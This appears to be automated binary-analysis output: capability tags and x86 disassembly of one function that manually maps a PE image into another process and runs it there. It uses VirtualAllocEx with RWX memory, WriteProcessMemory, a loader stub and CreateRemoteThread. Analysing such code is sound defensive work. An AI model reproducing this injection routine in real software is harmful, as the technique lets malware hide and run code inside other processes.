Function at 0x447250
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x638bb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, edx
mov dword [ebp - 0x20], esi
push edi
mov edi, ecx
test esi, esi
jne 0x44727f
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005b0882
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
push ebx
cmp word [esi], ax
jne 0x44745a
mov eax, dword [esi + 0x3c]
mov ecx, 0x14c
add eax, esi
mov dword [ebp - 0x1c], eax
cmp word [eax + 4], cx
jne 0x44745a
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x4472de
mov eax, dword [ebp - 0x1c]
push 0x40
push 0x3000
push dword [eax + 0x50]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x44745a
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edx, edx
mov dword [ebp - 0x14], eax
xorps xmm0, xmm0
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x18], edx
movzx ecx, word [eax + 0x14]
add ecx, 0x2c
cmp word [eax + 6], dx
je 0x44737b
lea esi, [ecx + eax]
nop
mov ecx, dword [esi - 4]
test ecx, ecx
je 0x447337
mov eax, dword [esi]
add eax, dword [ebp - 0x20]
push 0
push ecx
push eax
mov eax, dword [esi - 8]
add eax, ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x44734b
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
movzx eax, word [eax + 6]
inc edx
add esi, 0x28
mov dword [ebp - 0x18], edx
cmp edx, eax
je 0x447378
mov eax, dword [ebp - 0x1c]
jmp 0x447310
push dword [ebp - 0x20]
call fcn.005b0893
add esp, 4
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop ebx
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005b0882
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x20]
movups xmm0, xmmword [ebp - 0x14]
push 0
push 0x1000
push esi
push ebx
push edi
movups xmmword [esi], xmm0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x18], esi
test esi, esi
je 0x447356
push 0
push 0x1000
push 0x447480
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x447409
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push eax
push ebx
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x18]
push edi
call esi
pop ebx
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005b0882
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x10
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
push eax
push ebx
push edi
movups xmmword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 8]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x447410
push 0x8000
push 0
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005b0882
mov esp, ebp
pop ebp
ret
push esi
call fcn.005b0893
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor al, al
pop ebx
pop edi
pop esi
call fcn.005b0882
mov esp, ebp
pop ebp
ret